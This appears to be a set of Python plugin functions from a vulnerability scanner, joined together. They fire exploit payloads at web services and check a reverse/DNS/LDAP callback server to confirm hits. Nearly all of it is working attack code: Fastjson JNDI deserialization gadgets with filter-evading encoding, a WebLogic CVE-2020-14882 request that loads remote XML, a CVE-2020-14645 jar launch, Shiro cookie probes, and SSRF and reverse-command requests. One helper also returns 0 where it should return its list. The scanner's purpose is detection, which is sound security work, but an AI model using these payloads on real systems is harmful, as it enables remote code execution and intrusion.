def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return reverseurl, hexdata1 = generate(get_random_str(10).lower(), "http") _, hexdata2 = generate(get_random_str(10).lower(), "dns") for reverse in [reverseurl, "http://" + hexdata2]: req = { "url": self.url + "proxy.stream?origin={}".format(reverse), "method": "GET", "headers": { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" }, "verify": False, "timeout": 10, } r = request(**req) sleep = True for hexdata in [hexdata1, hexdata2]: res, resdata = query_reverse(hexdata, sleep) sleep = False if res: self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "path": "proxy.stream?origin={reverseurl}", "others": "{} in reverse db".format(hexdata), } }) break
def verify(self): if not self.check_rule(self.dictdata, self.require): # 检查是否满足测试条件 return # 判断weblogic if "weblogic" not in "".join(self.dictdata.get("service").values()).lower(): return jarfile = os.path.join(paths.MYSCAN_HOSTSCAN_BIN, "weblogic", "CVE-2020-14645.jar") ldapaddr, ldaphexdata = generate(self.addr + get_random_str(6), "ldap") _, dnshexdata = generate(self.addr + get_random_str(6), "dns") protocol = "https" if "https" in "".join(self.dictdata.get("service").keys()) else "http" start_process(["java", "-jar", jarfile, ldapaddr.replace("ldap://", "", 1), "{protocol}://{addr}:{port}/".format(protocol=protocol, **self.dictdata)]) start_process(["java", "-jar", jarfile, dnshexdata, "{protocol}://{addr}:{port}/".format(protocol=protocol, **self.dictdata)]) for i, hexdata in enumerate((ldaphexdata, dnshexdata)): sleep = True if i == 0 else False res, data = query_reverse(hexdata, sleep) if res: self.result.append({ "name": self.name, "url": "tcp://{}:{}".format(self.addr, self.port), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "found {} in reverse log ".format(hexdata) } }) break
def generate(self): data = {"payload": [], "hexdata": []} s = get_random_str(4) cmds, hexdata = generate(s, "dns") data["payload"].append("ldap://" + hexdata + "/aaaa") data["hexdata"].append(hexdata) cmds, hexdata = generate(s, "ldap") data["payload"].append(cmds) data["hexdata"].append(hexdata) return data
def send_payload(self, param): # http 方式检测 random = get_random_str(10).lower() + ".sql" httpurl, hexdata = generate(random, "http2") self.hexdatas.append((param, hexdata)) # dns 方式检测 _, hexdata = generate(random, "dns") self.hexdatas.append((param, hexdata)) for httpurl_ in [httpurl, "http://{}:80/test.sql".format(hexdata)]: if param == None: req = self.parse.generaterequest( {"data": self.payload % httpurl_}) else: req = self.parse.getreqfromparam(param, "w", self.payload % httpurl_) request(**req)
def send_poc(self, shirokey): _, hexdata = generate(get_random_str(6), "dns") self.querykeys[hexdata] = shirokey cookie = "rememberMe={}".format( self.encode_rememberme(hexdata, shirokey)) req = self.parse.generaterequest({"headers": {"Cookie": cookie}}) r = request(**req)
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return reverse_urls, reverse_data = generate_reverse_payloads(self.name) _, dns_data = generate(self.name, "dns") tasks = [] for reverse_url in reverse_urls: for cmd in [reverse_url, reverse_url.replace(reverse_set.get("reverse_http_ip", ""), dns_data)]: for path in ["", "securityRealm/user/admin/"]: tasks.append((cmd, path)) mythread(self.run, list(set(tasks))) sleep = True for hexdata in [reverse_data, dns_data]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if not self.dictdata.get("request").get( "content_type") == 4: # data数据类型为json return parse = dictdata_parser(self.dictdata) if not self.can_output(parse.getrootpath() + self.name): # 限定只输出一次 return payload_ = '''{"%(random_str)s": {"@type": "java.net.Inet4Address", "val": "%(domain)s"}}''' random_str = get_random_str(6).lower() _, domain_ = generate(parse.getfilepath(), "dns") payload = payload_ % {"random_str": random_str, "domain": domain_} req = parse.generaterequest({"data": payload}) r = request(**req) if r is not None: res, res_data = query_reverse(domain_) if res: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in dnslog".format(domain_), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) self.can_output(parse.getrootpath() + self.name, True) return
def send_payload(self, data): payload, param = data random_str = get_random_str(5).lower() + payload.get("vul", "") data_with_payload = "" if payload.get("type") == "ldap": ldapaddr, ldaphexdata = generate(self.parse.getrootpath() + random_str, "ldap") data_with_payload = payload.get("payload") % {"ldap": ldapaddr} self.saveflags[ldaphexdata] = (data_with_payload, payload.get("vul", "")) elif payload.get("type") == "rmi": rmiaddr, rmihexdata = generate(self.parse.getrootpath() + random_str, "rmi") data_with_payload = payload.get("payload") % {"rmi": rmiaddr} self.saveflags[rmihexdata] = (data_with_payload, payload.get("vul", "")) if param is None: req = self.parse.generaterequest({"data": data_with_payload}) else: req = self.parse.getreqfromparam(param, "w", data_with_payload) r = request(**req)
def poc2(self): '''' from: https://github.com//jas502n//CVE-2020-14882 ''' for postdata in [ '''_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("{}")''', '''_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("{}")''' ]: random_file = get_random_str(9).lower() + ".xml" url, hexdata = generate(random_file, "http2") req = { "method": "POST", "url": self.url + '''console/images/%252E%252E%252Fconsole.portal''', "data": postdata.format(url), "headers": { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169" }, "allow_redirects": False, "timeout": 10, "verify": False, } r = request(**req) res, _ = query_reverse(hexdata) if res: parser = response_parser( r) if r is not None else dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0] if r is None else r.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "second way to find :{} in reverse".format(hexdata), "payload:": postdata, "request": parser.getrequestraw(), "response": parser.getresponseraw() } })
def send_payload(self, param): # ldap 方式检测 random_str = get_random_str(8).lower() ldapaddr, ldaphexdata = generate(random_str, "ldap") self.hexdatas.append((param, ldaphexdata)) if param == None: req = self.parse.generaterequest({"data": self.payload % ldapaddr}) else: req = self.parse.getreqfromparam(param, "w", self.payload % ldapaddr) request(**req)
def send_payload(self, data): payload, param = data random_str = get_random_str(4).lower() # dns 方式检测 _, hexdata = generate(self.parse.getfilepath(), "dns") self.hexdatas.append((param, hexdata)) if param == None: req = self.parse.generaterequest({ "data": payload.replace("RANDOM", random_str).replace("DOMAIN", hexdata) }) else: req = self.parse.getreqfromparam( param, "w", payload.replace("RANDOM", random_str).replace("DOMAIN", hexdata)) request(**req)
def verify(self): # 限定一下目录深度,reverse还是严格点 if self.url.count("/") != 3: return reverse_urls, reverse_data = generate_reverse_payloads(self.name) # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls) _, dns_data = generate(self.name, "dns") tasks = [] for reverse_url in reverse_urls: for cmd in [ reverse_url, reverse_url.replace(reverse_set.get("reverse_http_ip", ""), dns_data) ]: tasks.append(cmd) mythread(self.run, tasks) sleep = True for hexdata in [reverse_data, dns_data]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if not self.dictdata.get("request").get("content_type") == 4: # data数据类型为json return if not self.can_output(self.parse.getrootpath() + self.name): # 限定只输出一次 return def transform_json(json_dict): """递归编码json中的所有字段""" def random_encode(s): """随机将给定字符串对每一个字符编码为ASCII/UNICODE编码""" encoded_str = '' for c in s: rnd = randint(0, 100) if rnd < 51: encoded_str += '\\x{:>02x}'.format(ord(c)) else: encoded_str += '\\u{:>04x}'.format(ord(c)) return encoded_str def transform_iterable(iterable): """递归编码可迭代对象中的所有字段""" # TODO # 目前强制将所有可迭代对象都转为了list,后续优化为不进行强制转换,返回原本的对象类型 result_list = [] for it in iterable: if isinstance(it, str): result = random_encode(it) elif isinstance(it, dict): result = transform_json(it) elif isinstance(it, Iterable): result = transform_iterable(it) else: result = it result_list.append(result) return 0 keys = json_dict.keys() for key in keys: # 递归遍历json对象 encoded_key = random_encode(key) value = json_dict[key] if isinstance(value, str): encoded_value = random_encode(value) elif isinstance(value, dict): encoded_value = transform_json(value) elif isinstance(value, Iterable): encoded_value = transform_iterable(value) else: encoded_value = value json_dict.pop(key) json_dict.update( {encoded_key: encoded_value} ) return json_dict payloads = [ { "vul": "ver=1.2.47", "payload": '''{ "rasdnd1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "randfd2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "ver=1.2.43", "payload": '''{"raasdnd1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"%(ldap)s","autoCommit":true]}}''', "type": "ldap", "code": False }, { "vul": "ver=1.2.42", "payload": '''{ "rasdfnd1": { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "1.2.25<=ver<=1.2.41", "payload": '''{ "ranfasdfd1": { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "<=1.2.24", "payload": '''{ "radassnd1": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "ibatis-core:3.0", "payload": '''{ "raasdnd1": { "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "%(ldap)s" } } }''', "type": "ldap" }, { "vul": "spring-context:4.3.7.RELEASE", "payload": '''{ "ransdasd1": { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "%(ldap)s", "propertyPath": "foo", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "%(ldap)s" ] } } }''', "type": "ldap" }, { "vul": "unknown", "payload": '''{ "raasd2nd1": Set[ { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "%(ldap)s" ] }, "adviceBeanName": "%(ldap)s" }, { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } ]}''', "type": "ldap" }, { "vul": "unknown", "payload": '''{ "rand1": { "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "%(ldap)s", "loginTimeout": 0 } }''', "type": "ldap" } ] saveflags = {} for payload in payloads: random_str = get_random_str(5).lower() + payload.get("vul", "") data_with_payload = "" if payload.get("type") == "ldap": ldapaddr, ldaphexdata = generate(self.parse.getrootpath() + random_str, "ldap") if payload.get("code",True): try: json_payload = loads(payload.get("payload") % {"ldap": ldapaddr}) except: print("get error") print(payload.get("payload")) continue data_with_payload = dumps(transform_json(json_payload)).replace('\\\\', '\\') else: data_with_payload=payload.get("payload") % {"ldap": ldapaddr} saveflags[ldaphexdata] = (data_with_payload, payload.get("vul", "")) elif payload.get("type") == "rmi": rmiaddr, rmihexdata = generate(self.parse.getrootpath() + random_str, "rmi") if payload.get("code", True): json_payload = loads(payload.get("payload") % {"rmi": rmiaddr}) data_with_payload = dumps(transform_json(json_payload)).replace('\\\\', '\\') else: data_with_payload=payload.get("payload") % {"ldap": rmiaddr} saveflags[rmihexdata] = (data_with_payload, payload.get("vul", "")) req = self.parse.generaterequest({"data": data_with_payload}) r = request(**req) # query i = 0 success = False for hexdata, msg in saveflags.items(): payload, vul = msg sleep = True if i == 0 else False res, resdata = query_reverse(hexdata, sleep) if res: self.result.append({ "name": self.name, "url": self.parse.getrootpath(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "payload": payload, "version": vul, "others": "dnslog res:{}".format(resdata), "request": self.parse.getrequestraw(), "response": self.parse.getresponseraw() } }) success = True i += 1 if success: if not self.can_output(self.parse.getrootpath() + self.name): # 其他进程如果发现了,则不在输出 self.can_output(self.parse.getrootpath() + self.name, True)
def verify(self): if not self.dictdata.get("request").get( "content_type") == 4: # data数据类型为json return if not self.can_output(self.parse.getrootpath() + self.name): # 限定只输出一次 return payloads = [{ "vul": "ver=1.2.47", "payload": '''{ "rasdnd1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "randfd2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "ver=1.2.43", "payload": '''{"raasdnd1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"%(ldap)s","autoCommit":true]}}''', "type": "ldap" }, { "vul": "ver=1.2.42", "payload": '''{ "rasdfnd1": { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "1.2.25<=ver<=1.2.41", "payload": '''{ "ranfasdfd1": { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "<=1.2.24", "payload": '''{ "radassnd1": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%(ldap)s", "autoCommit": true } }''', "type": "ldap" }, { "vul": "ibatis-core:3.0", "payload": '''{ "raasdnd1": { "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "%(ldap)s" } } }''', "type": "ldap" }, { "vul": "spring-context:4.3.7.RELEASE", "payload": '''{ "ransdasd1": { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "%(ldap)s", "propertyPath": "foo", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "%(ldap)s" ] } } }''', "type": "ldap" }, { "vul": "unknown", "payload": '''{ "raasd2nd1": Set[ { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "%(ldap)s" ] }, "adviceBeanName": "%(ldap)s" }, { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } ]}''', "type": "ldap" }, { "vul": "unknown", "payload": '''{ "rand1": { "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "%(ldap)s", "loginTimeout": 0 } }''', "type": "ldap" }] saveflags = {} for payload in payloads: random_str = get_random_str(5).lower() + payload.get("vul", "") data_with_payload = "" if payload.get("type") == "ldap": ldapaddr, ldaphexdata = generate( self.parse.getrootpath() + random_str, "ldap") data_with_payload = payload.get("payload") % {"ldap": ldapaddr} saveflags[ldaphexdata] = (data_with_payload, payload.get("vul", "")) elif payload.get("type") == "rmi": rmiaddr, rmihexdata = generate( self.parse.getrootpath() + random_str, "rmi") data_with_payload = payload.get("payload") % {"rmi": rmiaddr} saveflags[rmihexdata] = (data_with_payload, payload.get("vul", "")) req = self.parse.generaterequest({"data": data_with_payload}) r = request(**req) # query i = 0 success = False for hexdata, msg in saveflags.items(): payload, vul = msg sleep = True if i == 0 else False res, resdata = query_reverse(hexdata, sleep) if res: self.result.append({ "name": self.name, "url": self.parse.getrootpath(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "payload": payload, "version": vul, "others": "dnslog res:{}".format(resdata), "request": self.parse.getrequestraw(), "response": self.parse.getresponseraw() } }) success = True i += 1 if success: if not self.can_output(self.parse.getrootpath() + self.name): # 其他进程如果发现了,则不在输出 self.can_output(self.parse.getrootpath() + self.name, True)